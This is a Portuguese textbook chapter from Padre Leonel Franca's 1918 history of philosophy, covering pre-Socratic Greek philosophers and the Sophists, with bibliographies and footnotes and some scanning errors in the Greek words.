Filosofia Grega – Noções de Filosofia

Noções de História da Filosofia (1918)

Manual do Padre Leonel Franca.

12. A FILOSOFIA NA GRÉCIA — "O pequeno território da Hélade foi como o berço de quase todas as idéias que na filosofia, nas ciências, nas artes e em grande parte nas instituições vieram incorporar-se à civilização moderna" (13). Providencialmente situado entre o Oriente asiático e a Europa ocidental, liberalmente aquinhoado pela natureza de eminentes dotes espirituais — fantasia criadora e raro poder de generalização — dotado de instituições sociais e políticas que estimulavam a iniciativa individual, o povo grego recolheu os materiais das grandes civilizações, que al-voreceram nos impérios da Ásia, trabalhou-os com o seu espírito sintético e artístico e, com eles, elevou este grandioso e soberbo monumento de cultura, objeto de imitação e admiração dos séculos posteriores.

A filosofia, sobretudo, medrou na Grécia como em terra nativa. Seus grandes gênios dominaram as gerações pelo vigor incontestável do pensamento. Pode mesmo afoitamente afirmar-se que não há, no campo da especulação, teoria moderna que não encontre o seu germe nas idéias de algum pensador grego.

Este grande movimento filosófico, que abrange um período de mais de dez séculos, segue a princípio uma direção centrípeta. Parte das numerosas colônias gregas da Itália e da Ásia Menor e converge para Atenas. Neste foco de cultura atinge, no século de Péricles, o fastígio de sua perfeição, para daí dispersar-se mais tarde e irradiar pelo mundo helenizado, fundindo-se e modificando-se em contato com as idéias cristãs e com outras correntes intelectuais do pensamento.

Escola de Atenas de Rafael Sanzio
Escola de Atenas, por Rafael Sanzio

13. DIVISÃO DA HISTÓRIA DA FILOSOFIA GREGA — Consoante a ordem cronológica e a marcha evolutiva das idéias pode dividir-se a história da filosofia grega em três períodos:

  • I — Período pré-socrático (séc. VII-V a. C.) — Problemas cosmológicos.
  • II — Período socrático (séc. IV a. C.) — Problemas metafísicos.
  • Ill Período pós-socrático (séc. IV a. C. — VI p. C.) — Problemas morais.

O primeiro período é de formação, o segundo de apogeu, o terceiro de decadência.

(13) Latino Coelho, Oração da Coroa, Introdução, p. XXXV.

BIBLIOGRAFIA .

Brandis A. Ch., Handbuch der Geschichte der griechisch-römischen Philosophie, 6 vols., in 8.°, Berlin, 1835-66; — Schweigler A., Geschichte der griechischen Philosophie, 3 ed. publ. p. K. Köstlin, 1 vol. in 8.°, Freiburg i. B., 1881; — Zeller E., Die Philosophie der Griechen, 5 vols.. 1844-25, 6.a ediç. por Nestle, 1919 e segs. (Obra capital) : — Zeller E., Grundriss der Geschichte der griechischen Philosophie, 12.a ed. por Nestle, Leipzig, 1920; — Windelband W., Geschichte der antiken Philosophie3, München, 1912; — Gomperz H., Griechische Denker, 3 vols, in 8.°, 2.a e 3.a ed. Leipzig, 1909-1912; — Döring A., Geschichte der griechischen Philosophie, 2 vols, in 8.°. Leipzig, 1903; — Ritter-Preller. Historia philosophiaë graecae, 1838, 9.a ediç. de Wellmann, 1 vol. in 8.°, Gotha, Perthes, 1913; — Baeumker Cle., Das Problem der Materie in der griechischen Philosophie. München, 1890;

— Bauch B. Das Substanzproblem in der griechischen Philosophie, Heidelberg, 1910: — Herbertz R., Das Wahrheitsproblem in der griechischen Philosophie, Berlin. 1913: — Renouvier Ch., Manuel de Philosophie ancienne2, 2 vols., Paris, 1845; — Laforet U. J., Histoire de la Philosophie, philosophie ancienne, 2 vols, in 8.°, Bruxelles. Devaux 1866-67;

— Chaignet, Histoire de la psychologie des Grecs, 5 vols, in 8.°; Paris, Hachette, 1887-92; — Benard Ch., La philosophie ancienne. Hist, peñérale de ses systèmes, 1 vol., in 8°, Paris, 1885; — Ch. Werner. La philosophie grecque, Paris, 1938; — L. Robin, La pensée grecoue2, Paris, 1928; — Btjttler W. A., Lectures on the history of ancient philosophy, Nov. ediç. por W. H. Thomson, 2 vols, in 12, London, 1874; — Benn, A. W., The greek Philosophers, 2 vols, in 8.°, London. 1882; — J. Burnet, The History of Greek Philosophy, in 8.°, London, Macmillan, 1914; — Bobba, Saggio delia filosofia greco-romana, Torino, 1881; — G. Ruggiero, La filosofia greca, Bari, 1917; — J. de Castro Nery, Evolução do pensamento antigo, Porto Alegre, 1936.

 

CAPÍTULO I

PRIMEIRO PERÍODO — (600-450 α. C.)

14. CARÁTER GERAL Ε DIVISÃO — Os filósofos deste, período preocupam-se quase exclusivamente com os problemas cos-mológicos. Estudar o mundo exterior nos elementos que o constituem, na sua origem e nas contínuas mudanças a que está sujeito, é a grande questão que dá a este período seu caráter de unidade. Pelo modo de a encarar e resolver, classificam-se os filósofos que nele floresceram em quatro escolas: 1.*, escola jônica; 2.*, escola itálica; 3.a, escola eleática; 4.a, escola atomística. Sem constituir escola propriamente dita, no fim do período aparecem os sofistas.

BIBLIOGRAFIA

Dos filósofos deste primeiro período não nos chegou nenhuma obra completa. Os fragmentos existentes foram conservados por Aristóteles, Platão e pelos doxógrafos gregos e latinos. Teofrasto, Pseudo-Plutarco, Hi-pólito, Stobeu, Diógenes Laércio, Cícero, Sêneca, Plutarco, Galeno, Sexto-Empírico e entre os autores cristãos, S. Justino. S. Irineu, Clemente Alexandrino, Orígenes, Tertuliano, Teodoreto, Eusébio de Cesarea e S. Agostinho. Colecionou-os modernamente A. Mullach, Fragmenta philosopho-rum graecorum, 3 vols., Paris. 1860-1881; mais recente, mais completa e mais crítica é a edição de H. Dtels, Fragmente der Vorsokratíker, 3 vols., in 8°, Berlin, Weidemann, 1922.

A. W. Eenn, Early Greek Philosophy, London, 1908; — K. Goebel, Die Vorsokratische Philosophie, Bonn, 1910; — G. Kafka, Die Vorsokratiuer, München, 1921; — S. A. Byck. Die Vorsokratische Philosophie der Griechen, in ihrer organischen Gliederung, 2 vols, in 8.°, Leipzig, Schäfer, 1876-77; — P. Tannery Pour l’histoire de la science hellène: De Thaïes a Empédocle, Paris, 1887: — A. Leceère, La philosophie grecque avant Socrate2, Paris. 1908: — J. Burnet, Early Greek Philosophy, London, 1908; — U. C. Β. Montagni. L’evoluzione pressocratíca, Cittá di Castello, 1912; — H. Schaaf, Institutiones historiae philosophiae graecae, Roma, 1912.

Aristóteles filósofo grego

§ 1.° — Escola jônica

A ESCOLA JÔNICA, assim chamada por ter florescido nas colônias jônicas da Ásia Menor, compreende os jônios antigos e os jônios posteriores ou juniores.

15. Os jônios antigos consideram o Universo no ponto de vista estático, procurando determinar o elemento primordial, a matéria primitiva de que são compostos todos os seres. Os mais conhecidos são:

  • I.º) Tales (c. 624-548 a. C), de Mileto, fenicio de origem, fundador da escola. É o mais antigo filósofo grego. Levado, talvez, por alguns fatos ingenuamente observados e por lendas tradicionais, afirmou ser a água o princípio gerador de todas as coisas. Cultivou também as matemáticas e a astronomia, predizendo, pela primeira vez, entre os gregos, os eclipses do sol e da lua.
  • 2.º Anaximandro (c. 611-547 a. C), de Mileto, discípulo e sucessor de Tales e autor de um tratado Da Natureza, põe como. princípio universal uma substância indefinida, ãweipov, isto é, quantitativamente infinita e qualitativamente indeterminada. Deste Επαρον primitivo, dotado de vida e imortalidade, por um processo de separação ou "segregação" derivam os diferentes corpos. Supõe também a geração espontânea dos seres vivos e a transformação dos peixes em homens.
  • 3.º) Anaxímenes (c. 538-524 a. C), também de Mileto, colega de Anaximandro, levado talvez pela importância da respiração na economia vital, estabelece como elemento primitivo o ar, do qual por um processo de rarefação se origina o fogo, e por condensação a água, a terra, as pedras e os demais seres.

Tanto Anaximandro como Anaxímenes ensinam uma espécie de palingenèsia ou formação e destruição periódica de todas as coisas.

Atribuindo vida à matéria e identificando a divindade com o elemento primitivo gerador dos seres, os antigos jônios professavam o hilozoísmo e o panteísmo naturalista.

16. OS JÔNIOS POSTERIORES distinguem-se dos antigos não só por virem cronologicamente depois, senão principalmente por imprimirem outra orientação aos estudos cosmológicos, encarando o Universo no seu aspecto dinâmico, e procurando resolver o problema do movimento e da transformação dos corpos.

Heráclito (535-475 a. C.) de Éfeso é o elo de união entre os jônios antigos e os posteriores. Sua doutrina é uma reação contra as especulações dos eleatas. Parmênides, como veremos, afirmara a imutabilidade do ser. Heráclito opõe-lhe a mutabilidade de todas as coisas, -πάντα pel xal ovõh μένει tudo se acha em perpétuo fluxo, a realidade está sujeita a um vir-a-ser contínuo (14). Ε como de todos os elementos, o móvel por excelência é o fogo, do fogo fêz Heráclito o princípio fundamental de todas as coisas. È ainda a preocupação dos antigos jônios de determinar um elemento único, como origem comum de todos os seres. O fogo é dotado de um princípio interno de atividade, em virtude do qual se move continuamente, constituindo cada um dos estádios do seu perpétuo fluxo um fenômeno natural. O mundo teve origem deste fogo primitivo que se identifica com a divindade. Por um processo de "extinção" transformou-se em água e depois em terra. Por um novo processo de "ascensão" a terra volta a ser água e a água torna a fogo. Assim a "luta" separa os elementos, e a "concórdia" tende a reconduzi-los ao fogo donde provieram. Nestas vicissitudes em que a luta vai demolindo o trabalho da concórdia, o triunfo final caberá à concórdia. Mas então intervirá a divindade, construindo um novo mundo em que as duas forças antagonistas entrarão de novo em ação. Como se vê, a cosmologia de Heráclito é ainda em hilo zoísmo panteísta.

Além destas doutrinas físicas, Heráclito ensinou ainda a distinção entre a razão, a que devemos prestar fé, e os sentidos, testemunhas suspeitas da verdade quando não retamente interpretados pela razão.

(14) Por esta doutrina do vir-a-ser perpétuo quiseram alguns discípulos de Hegel ver em Heráclito um precursor do idealista alemão, inculcando-o como o primeiro pensador antigo que reconheceu a identidade do ser e do não ser, e negou o principio de contradição. O próprio Hegel referindo-se a Heráclito escreveu: "Foi este ousado pensador quem primeiro pronunciou a sentença profunda: tudo é e nada é. Aqui ô que devemos exclamar: Terra. Não há uma só posição de Heráclito que eu não admita na minha lógica".

Aristóteles, (Met. IV, 3.) porém, e com êle vários modernos (Zeller; Turner etc.) duvidam que o filósofo efesino tivesse chegado a tal extremo. Semelhança incontestável com Hegel, apresenta-a sim, Heráclito na obscuridade em que envolvia os sei conceitos. Os contemporâneos apelidaram-no "o tenebroso", o-xoreivás "clarus ob obscuram linguam" disse Lucrécio

 

2.°) Empédocles (c. 495-435 a. C.) de Agrigento, autor do poema "a natureza", no intuito de conciliar a unidade e imutabilidade do ser, ensinada pela escola eleata, com a pluralidade e o movimento local, evidentemente atestados pelo senso comum, propõe a teoria dos quatro elementos, que, abraçada por Aristóteles, reinou na ciência por quase 2.000 anos. Segundo o seu sistema todos os corpos são compostos de ar, água, terra e fogo. Estas "raízes" (15) primitivas, ingênitas, imutáveis e irredutíveis (propriedades do ente de Parmênides) entram em diferentes proporções na composição de todos os corpos. As mudanças reduzem-se a combinações ou separações destes elementos e são determinadas pelo "amor", e "ódio", forças místicas que, concebidas antropomòrficamente, regulam as alterações do mundo corpóreo.

A alma humana é também composta destes quatro elementos. Assim se explica a possibilidade do conhecimento, visto como simile simili cognoscitur.

Empédocles ensina a metempsicose e parece admitir a existência de uma Inteligência ordenadora. Mas esta idéia, mal definida em seus poemas, não lhe foi orgânicamente incorporada no sistema filosófico da natureza.

3.°) Anaxágoras (c. 500-428 a. C.). — A. Natural de Clazo-mena, escreveu uma obra "da natureza", de que nos restam preciosos fragmentos. Amigo de Péricles foi, como êle, perseguido pelo povo; acusado de ateísmo por não prestar culto aos deuses nacionais, fugiu para Lampsaco, onde faleceu. Tucídides, Temístocles, Euripides, Heráclito e Sófocles foram seus contemporâneos ou amigos.

(15) Των πάντων ς,ιξώματα O termo "elemento" στσικα é posterior, de origem platônica.

Β. Sua substância primitiva é um agregado de partículas mínimas de todas as substâncias existentes. Aristóteles chamou-as homeomerias. As propriedades específicas dum corpo dependem do predomínio das homeomerias de propriedades correspondentes. A existência das homeomerias de outras espécies, em todos os corpos, explica a possibilidade das transformações.

C. No que, porém, o sistema de Anaxágoras representa um notável progresso na evolução do pensamento grego é em ter feito apelo para uma Inteligência ordenadora a fim de explicar racionalmente a harmonia do Universo. Esta Inteligência — Noüs — é simples, imaterial, independente, toda poderosa, única e infinita, causa eficiente do movimento e da ordem cósmica. Por esta razão, do filósofo de Clazomena, disse Aristóteles que, "comparado com os que o precederam aparece como um sóbrio falando entre ébrios que devaneiam".

D. Em psicologia, Anaxágoras opõe aos sentidos, instrumentos fracos, mas não enganadores do conhecimento, a inteligência simples e imaterial que tudo percebe.

E. Com Anaxágoras dá entrada na filosofia o conceito do su-pra-sensível, afirma-se a irredutibilidade entre o material e o imaterial, delineia-se a idéia teleológica e à questão da causa material soprepõe-se a da causa eficiente do Universo. Lançando ainda os primeiros alicerces da psicologia e da teodicéia pela demonstração racional de suas teses fundamentais, Anaxágoras prepara o caminho a Sócrates e Aristóteles e conquista, na história da filosofia, títulos à imortal gratidão da posteridade.

Nota — Pelo que fica exposto, vê-se que os três filósofos acima, se bem orientados pela idéia geral dos jônios antigos, deles se separam em muitos pontos, sob o influxo de outras escolas. Melhor do que jônios poder-se-iam dizer ecléticos independentes. Isto explica a divergência de alguns autores que qs classificam entre os atomistas.

BIBLIOGRAFIA

H. Ritter. Geschichte der ionischen Philosophie, Berlin, 1821; — R. Seydel Der Fortschritt der Metaphysik innerhalb der Schule des ionischen Hylozoismus, Leipzig, 1860; — M. C. Mallet, Histoire de la philosophie ionienne, Paris, 1842.

§ 2.° — Escola itálica — Pitágoras

17. Enquanto, em plena florescência, se desenvolvia, na Ásia Menor, a escola jônica, em Crotona, na Magna Grécia, surgia outra escola — a primeira do Ocidente — de orientação bem diversa.

A. Pitágoras (sec. VI), natural de Samos e fundador da escola, é uma das mais notáveis personalidades da antigüidade. Nada deixou escrito (16) e sobre sua vida a tradição teceu inúmeras lendas. À crítica moderna chegou até a lançar dúvidas sobre a his toricidade de algumas das suas viagens ao Egito, à Pérsia, à Índia e às Gálias. Sabemos apenas que foi ilustre matemático, organizou a sua escola à maneira de congregação político-religiosa e lhe legou um corpo de doutrinas cosmológicas e morais. É-nos difícil, senão impossível distinguir entre elas os ensinamentos primitivos do mestre da contribuição posterior dos discípulos.

B. Segundo a escola itálica, o número é o fundamento de tudo, é o princípio essencial de que são compostas todas as coisas. Deus é a grande Unidade, a grande Monada, o número perfeito do qual emanam todos os outros seres do mundo, grandiosa harmonia matemática. Não sabemos ao certo que significação atribuíam os pi-tagóricos à palavra "número". Impressionados pela ordem do Universo, talvez quisessem simbolizar apenas, com este termo, a regularidade e constância dos fenômenos naturais. Se assim fosse — mas não temos provas para afirmá-lo contra Aristóteles que interpreta o termo no sentido óbvio — houvera sido esta uma intuição da possibilidade, hoje em grande parte realizada, de exprimir por fórmulas numéricas as leis físicas que presidem aos fenômenos do Cosmo.

Os corpos formados por números constam como estes de par e ímpar ou de finito ou infinito. Os números pares, por se poderem sempre dividir, são de certo modo infinitos; os ímpares, que se opõem a esta divisão, finitos.

O universo é constituído por um corpo ígneo, situado no centro e móvel em torno do próprio eixo e ao redor do qual se dispõem a terra, o sol, os planetas e a anti-terrâ, corpo que eles acrescentavam aos sete planetas então conhecidos para perfazer o número de 10. Engastados em esferas concêntricas, produzem estes astros no seu movimento uma admirável harmonia, "a harmonia das esferas", que o hábito nos impede de sentir.

C. Além destes ensinamentos de ordem cosmológica, professavam os discípulos de Pitágoras várias doutrinas religiosas e morais, características da escola. Fim último da vida e felicidade suprema do sábio é a semelhança com a Divindade. Meio necessário de atingi-la, a prática da virtude, harmonia resultante da subordinação da parte inferior à superior da nossa natureza. No intuito de alcançar este equilíbrio harmônico davam-se aos rigores das práticas ascéticas. Viviam vida comum, no celibate, praticavam o silêncio, a abstinência de certos alimentos e o exame de consciência. Guardavam entre os iniciados rigoroso segredo de doutrinas. Acreditavam na metempsicose ou transmigração das almas não de todo purificadas e tributavam ao mestre grande culto de veneração, abdicando em sua autoridade a própria razão, a ponto de considerarem a sentença dele em qualquer questão como aresto inapelável e expressão indiscutível da verdade. O ipse dixit era a última palavra de todas as discussões.

(16) Os fragmentos que se lhe atribuem são certamente espúrios. Os "versos áureos", coleção de máximas morais, parecem ser do pltagórico Lysis.

 

D. Por motivos políticos e pelas suas tendências acentuada-mente aristocráticas, depois da morte do mestre, foi a comunidade pitagórica assaltada e dispersa, numa sublevação popular. Seus membros disseminados pela Itália e pela Grécia ioram infiltrar em outros sistemas as próprias doutrinas. Como escola, o pitagorismo cessou de existir no see. IV a. C.

E. Entre os discípulos de Pitágoras os mais conhecidos são: Filolau (n. c. 480) que primeiro publicou as doutrinas da escola e de quem nos restam ainda fragmentos autênticos; Lysis, discípulo de Filolau, Hipasus, Cimias, Cebes, contemporâneos de Sócrates, que figuram como interlocutores nos diálogos de Platão; Ricetas, que ensinou o movimento da terra em torno do próprio eixo e inspirou a Copérnico a teoria heliocêntrica; Alcmeon, médico, que reconheceu no cérebro o órgão central da sensibilidade; Arquitas de Tarento, que fundou na Sicília uma escola filosófica.

F. A Pitágoras cabe a iniciativa de ter orientado a filosofia para os problemas ético-religiosos, encarando-a não só como explicação da natureza, senão ainda como regra de vida, como meio de atingir a perfeição e a felicidade. Sua moral, porém, apresenta-se a nós mais como uma tradição religiosa do que como resultado de uma investigação racional coerente com o resto do sistema filosófico. Seu, outrossim, é o merecimento de ter compreendido que o universo é realmente cosmos, isto é, ordem e harmonia. Caiu, porém, ao que parece, no erro de confundir a manifestação externa desta ordem com o seu constitutivo interno, fazendo do número não só à expressão da ordem real mas o princípio da própria realidade.

A Pitágoras, como refere Cícero (17) remonta a origem do termo "filósofo", que éle por evitar o de sábio — σ6φο$ — modestamente se atribuía, chamando-se "amigo da sabedoria".

BIBLIOGRAFIA

H. Ritter, Geschichte der pythagorischen Philosophie, Hamburg, 1826; — W. Bauer, Der ältere Pythagorismus, eine kritische Studie, Bern, 1897; — A. E. Chaignet, Phythagore et la philosophie pythagoricienne contenant les fragments de Philolaus et d’Archytas traduits pour la première fois en français, 2 vols., Paris. 1873.

§ 3.° — Escola eleática

18. Em face do problema cosmológico, a escola de Eléia, na Magna Grécia, assume uma posição francamente apriorista. Nega audazmente a multiplicidade e sucessão dos seres como ilusões dos sentidos, e, por meio. de processos dialéticos, afirma, em nome da razão, a unicidade, eternidade e imutabilidade do ser. "Firmam o universo", no dizer de Platão: " ót τον ΰλου στασιώται ‘. É o panteísmo idealista oposto ao panteísmo naturalista das escolas precedentes. Não podendo, porém, furtar-se à necessidade de explicar o mundo das aparências, inspiram-se os eleatas nas doutrinas físicas dos jônios.

(17) Cie, Tusc, V 3.

Às conclusões da escola chegaram seus diferentes adeptos por vias diversas.

1.°) Xenófanes (576-480 a. C), de Colofônio, na Ásia Menor, e fundador da escola em Eléia, é teólogo. Seu ponto de partida é a unidade de Deus que êle demonstra com bons argumentos e defende contra o politeísmo vulgar, exprobrando com veemência a Homero e Hesíodo por haverem favorecido com suas teogonias a concepção antropomórfica da Divindade. Deus é, pois, uno, eterno imóvel, imutável, perfeito, tudo abraçando e governando com o pensamento: Unus est Deus deorum, hominumque summus, sine negotio, mentis vi cuncta permovet immotus. Confundindo, porém, Deus e o Universo, dos atributos do primeiro inferiu erroneamente os atributos do segundo, concluindo pela unicidade e imutabilidade do ser.

Em física, Xenófanes explica a origem do mundo de uma ou mais substâncias primitivas — talvez a terra e a água — sem se preocupar da coerência destas doutrinas com as anteriores sobre a imutabilidade do Universo.

Em ética, censura acremente os desmandos morais de seus conterrâneos e aconselha de preferência à cultura demasiada das forças físicas, a sobriedade e o amor da sabedoria.

Do seu poema A natureza só nos restam fragmentos.

2.º) Parmênides (530-444 a. C), discípulo de Xenófanes, é metafísico, talvez o mais profundo dos filósofos pré-socráticos. Distingue duas ordens opostas de conhecimento: a sensitiva que nos leva à "opinião", τα προς δάξαν , enganadora e ilusória, e a intele-tual, fundada na evidência dialética, que nos conduz "à verdade" τα Trpòs άλήϋααρ. Os sentidos percebem o mutável, o múltiplo, o contingente; a razão vê no fundo de todas as coisas uma realidade única — o ente. Ora, o ente, não podendo vir do não ente "ex nihilo nihil", é uno, eterno, ingênito, imóvel, indivisível, imutável, homogêneo, contínuo e esférico (esfera, figura perfeita). O mundo fenomenal não passa de uma ilusão.

Na sua cosmologia do aparente, ensina Parmênides que todas as coisas são compostas de dois princípios — luz e trevas, calor e frio, isto é, de fogo e terra.

Além do defeito comum a todos os aprioristas de rejeitar a evidência experimental, confunde Parmênides a ordem lógica com a ontológica, transportando os atributos provenientes do estado de abstração de uma idéia à realidade por ela representada. Altean-do-se, porém, na esfera do inteligível até à idéia de ser, eleva-se muito acima de seus predecessores e aplaina o caminho a uma metafísica mais segura.

3.º) Zenão, de Eléia (490 a. C), é dialético. Chega às mesmas conclusões de Parmênides por via indireta, mostrando as contradições dos que prestam fé ao testemunho dos sentidos. Alguns de seus sofismas contra a pluralidade dos seres, e sobretudo contra a possibilidade do movimento (18), são célebres na história do pensamento. Zenão era um polemista erudito, sutil, mas amante de cavilações e paradoxos. Preludia os sofistas.

4.º) Melisso (meado do see. V a. C.), de Samos, não é um ta-lente original. Nada fêz senão sintetizar as teorias da escola, procurando conciliá-las com o naturalismo dos jônios. Neste trabalho de harmonização nem sempre conseguiu evitar contradições, introduzindo idéias contrárias às doutrinas capitais da escola eleata.

(18) Um dos mais conhecidos — o argumento da dicotomia, é o seguinte: Um móvel para ir de A a Β deve percorrer metade do espaço intermédio, mas antes de chegar ao ponto médio terá de vencer a metade da distancia que o separa do ponto Inicial e assim por diante. Ao argumento responde Aristóteles declarando a verdadeira natureza da extensão e do tempo. Cfr. Nys, Cosmologtc", p. 243.

 

Epicuro
Epicuro

BIBLIOGRAFIA

S. Ferrari, Gli Eleati, Roma, 1892, (Mem. delia Accad. dei Lincei) ; — J. Dörfler, Die Eleaten u. d. Orphiker, Freistadt, 1911; — G. Calogero, Studi sull’Eleatismo, Roma, 1832; — K. Riezler, Parmenídes, Frankfurt a, m. 1934.

§ 4.° — Escola atomística

19. Como Empédocles e Anaxágoras, tentam também os ato-mistas conciliar o rígido monismo dos eleatas com as exigências, do senso comum. Neste intuito, admitem como os dois filósofos precedentes que os elementos primitivos são imutáveis e dotados de movimento local, mas deles se separam afirmando a sua homogeneidade e indivisibilidade.

A. O verdadeiro fundador da nova escola é Leucipo, de quem quase nada sabemos. Demócrito (520-440 a. C), natural de Abdera, na Trácia, discípulo de Leucipo, é o seu principal organizador e representante. Foi homem muito versado na física e nas matemáticas e de maravilhosa erudição, não inferior à do próprio Aristóteles. Das suas muitas obras só restam fragmentos.

Β. O sistema mecanicista da natureza por êle proposto reduz-se aos seguintes princípios fundamentais. As grandes massas são compostas de corpúsculos insecáveis, ingênitos, eternos, chamados átomos. Substancialmente homogêneos, diferem uns dos outros pela figura, pela ordem e pela posição; pela figura como A de Ν (para o esclarecermos com o exemplo de Aristóteles, Metaphys. I, 4), pela ordem como AN de NA, pela posição como Ν de Ζ (o Ν é um Ζ deitado). A diferença de figura acarreta, outrossim, a de grandeza e de peso. Ao lado dos átomos, admite Demócrito o vácuo (contra Parmênides) para explicar a possibilidade do movimento. Daí a fórmula: os corpos são compostos de pleno e de vácuo, πληρεζ xaí χενον.

A geração, a corrução e às transformações das grandes massas explicam-se por agregações e desagregações atômicas. Das propriedades corpóreas, as de ordem quantitativa, como extensão, figura, grandeza, peso, movimento ou repouso (chamadas por Aristóteles sensíveis comuns e, pelos modernos, qualidades primárias) existem na realidade como as percebemos; as de ordem qualitativa (sensíveis próprios de Aristóteles ou qualidades secundárias dos modernos) tais a côr e o som, só existem como movimento local. Na sua formalidade qualitativa são impressões dos sentidos, na frase de Teofrasto, πάϋη ríjs άισαήσω* (De sens, et sensib., § 63).

C. A origem do mundo explica-se por um processo puramente mecânico, sem recorrer, como Anaxágoras, à intervenção de uma inteligência ordenadora. Por necessidade de natureza, os átomos movem-se no vácuo infinito com movimento retilíneo de cima para baixo e com desigual velocidade (19). Daí entrechoques atômicos e formação de imensos vórtices ou turbilhões de que se originam os mundos.

D. Na psicologia do abderita repercute a sua física mecani-cista. A alma é composta de átomos semelhantes aos do fogo, porém mais sutis, que, entrelaçados em rede descontínua, se difundem por todo o corpo. A respiração, ingerindo novos átomos ígneos, compensa a perda dos que continuamente se expelem. Quando já não é possível esta compensação sobrevem a morte.

A sensação é provocada por imagens materiais είδωλα (20) — que se destacam dos corpos e, pelo ar, vêm impressionar o órgão sensitivo. O conhecimento assim obtido é muito imperfeito, obscuro, variável e enganoso. Semelhante à sensibilidade no seu aspecto subjetivo, a inteligência de muito se lhe avantaja como faculdade de conhecimento: é mais ampla e mais segura, conhece a existência dos átomos e corrige os erros dos sentidos (aparência das qualidades secundárias). — Não há liberdade nem imortalidade.

E. Os deuses vulgares e a mitologia nasceram da fantasia popular. São entes superiores ao homem, mas compostos também de átomos e vácuos e sujeitos à lei da morte. "Deus verdadeiro e natureza imortal não existe".

F. Como físico, Demócrito é talvez o mais profundo entre os gregos. A-teoria atômica, nas suas linhas fundamentais abraçada pela’ ciência moderna, saiu-lhe quase perfeita das mãos. A inexistência fprmal das qualidades secundárias é hoje admitida pela quase unanimidade dos naturalistas. Quanto ao método, sem des-curar a observação, é um pouco apriorista. As propriedades dos seus átomos são determinadas pela necessidade de conciliar Par-mênides com a observação sensível.

(19) Criticando essa teoria, Já notava Aristóteles que no espaço infinito para cima e para baixo não têm significação alguma (Phys., IV, 8) e no vácuo todos os corpos, ainda de grandeza desigual, caem com a mesma velocidade (De coelo, IV, 2).

(20) Delas dirá mais tarde Lucrécio:

Quae quasi membranae summo de corpore rerum
Dereptae volltant, ultro citroquo per auras.

Como filósofo é somenos. Opondo-se ao dualismo irredutível, estabelecido por Anaxágoras, entre a matéria e o espírito, e negando a existência de uma inteligência ordenadora, o filósofo de Abdera aparece na história do pensamento como o primeiro re-presentante formal do materialismo e do ateísmo. "O defeito de todo o materialismo, observa Lange, é concluir as suas explicações no ponto em que começam os grandes problemas filosóficos". (21).

BIBLIOGRAFIA

V. Fazio-Almayer, Studi sull’atomismo gr eco, Palermo, 1911; — A. Dyroff, Demokritstudien, München, 1899; — L. Löwenheim, Die Wissenschaft Demokrits und ihr Einfluss auf die moderne Naturwissenschaft, Berlin. 1914; — L. Mabilleau, Histoire de la philosophie atomistique, Paris, 1895.

§ 5.° — Sofistas

20. A atitude intelectual de alguns dos pensadores precedentes havia aplainado o caminho ao ceticismo. Heráclito negara a realidade permanente. Parmênides e a escola de Eléia, opondo-se à mais evidente experiência e desvalorizando o conhecimento sensível, fiaram apenas da razão no apriorismo dos seus processos dialéticos. Concluir daí que tudo é ilusão e que a ciência é impossível era um passo fácil. As condições sociais de Atenas, que atingira o apogeu de sua glória, ofereciam ainda na abundância das riquezas, na corrução dos costumes, no abalo das tradições morais e religiosas discutidas pela critica racionalista, um ambiente favorável ao aparecimento dos sofistas.

A. Chamam-se sofistas os mestres populares de filosofia, homens venais e sem convicções, ávidos de riqueza e de glória que, nesta época de crise para o pensamento grego exploram em benefício da própria vaidade e cupidez o estado dos espíritos criado pelas especulações filosóficas e condições sociais do tempo (22). Mais retóricos que filósofos, argutos, artificiosos e eruditos, ensinavam à juventude ateniense, atraída pelos encantos da eloqüência, com a arte de defender o pró e o contra de todas as questões, o segredo de Sócrates combateu lôda a sua vida contra estes pseudo-filósofos; Platão impugna-os ainda nos seus primeiros diálogos; Aristóteles fala dos sofistas como de adversários históricos, como de um perigoso esconjurado tirar partido de qualquer situação, galgando as mais elevadas posições numa democracia volúvel e irrequieta. Serviam-se das anuas da razão para destruir a própria razão, e, sobre as ruínas da verdade, erigir o interesse em norma suprema de ação.

(21) Lange, Geschichte des Materialismus, t. I, p. 21.

(22) Nos tempos mais remotos denominaram-se sofistas todos os que se entregavam ao estudo das ciências e das artes. Assim chama Aristóteles os sete sábios da Grécia. No século V restringiu-se a significação do termo aos pedagogos e professores ambulantes de retórica que ensinavam mediante remuneração pecuniária. Pouco a pouco, pela tendência rabulista destes mestres de eloqüência o termo foi tomando o significado pejorativo que conservou até hoje. Xenofonte, Memox-ab, I, 6: "Chamam-se sofistas os que vendem a sabedoria por dinheiro". Platão, Sof. 268 D: "Sofista é o que constrange o seu interlocutor a dizer coisas contraditórias… com o prestígio das palavras enreda os seus ouvintes". Aristóteles, De elench, sophist, c. 1: "Sofista é quem aufere lucros de uma sabedoria que parece e não é". S. Tomaz, comentando Aristóteles: "ad aliud ordinat vitam suam et actiones philosophus et sophista. Philo-sophus quidem ad sciendum veritatem; sophista vero ad hoc quod videatur scire quod nésciat". In metaphys. I. 4, lect. 4.

 

B. Dentre a numerosa turba dos sofistas extremam-se como mais célebres, os dois vultos de Protagoras e Górgias.

1.º) Protágoras (c. 480-411 a. C), de Abdera, ensinou 40 anos por toda a Grécia. Acusado de ateísmo, em Atenas, fugiu para a Sicília, perecendo num naufrágio. Dos princípios de Heráclito e das variações da sensação, conforme as disposições subjetivas dos órgãos, inferiu Protagoras a relatividade do conhecimento. Esta doutrina enunciou-a com a célebre fórmula; o homem é medida de todas as coisas, πάντων χρημάτων μετρον άνϋρωπο%. Para ο seu autor, esta máxima significava mais exatamente que de cada homem individualmente considerado dependem as coisas, não na sua realidade física, mas na sua forma conhecida. Subjetivismo, relativismo e sensualismo são as notas características do seu sistema de ceticismo parcial.

2.º) Górgias (480-375 a. C), de Leôncio, na Sicília, menos profundo, porém, mais eloqüente que Protagoras partiu dos princípios da escola eleata e concluiu também pela absoluta impossibilidade do saber. É autor duma obra intitulada "Do não ser", na qual desenvolve as três teses: Nada existe; se alguma coisa existisse não a poderíamos conhecer; se a conhecêssemos não a poderíamos manifestar aos outros. A prova de cada uma destas proposições é um enredo de sofismas, sutis uns, outros pueris.

Prodicus, de Céus, autor do apólogo Hercules in bivio. Hipias, Crítias e outros figuram também como sofistas entre os interlocutores de Sócrates nos diálogos de Platão.

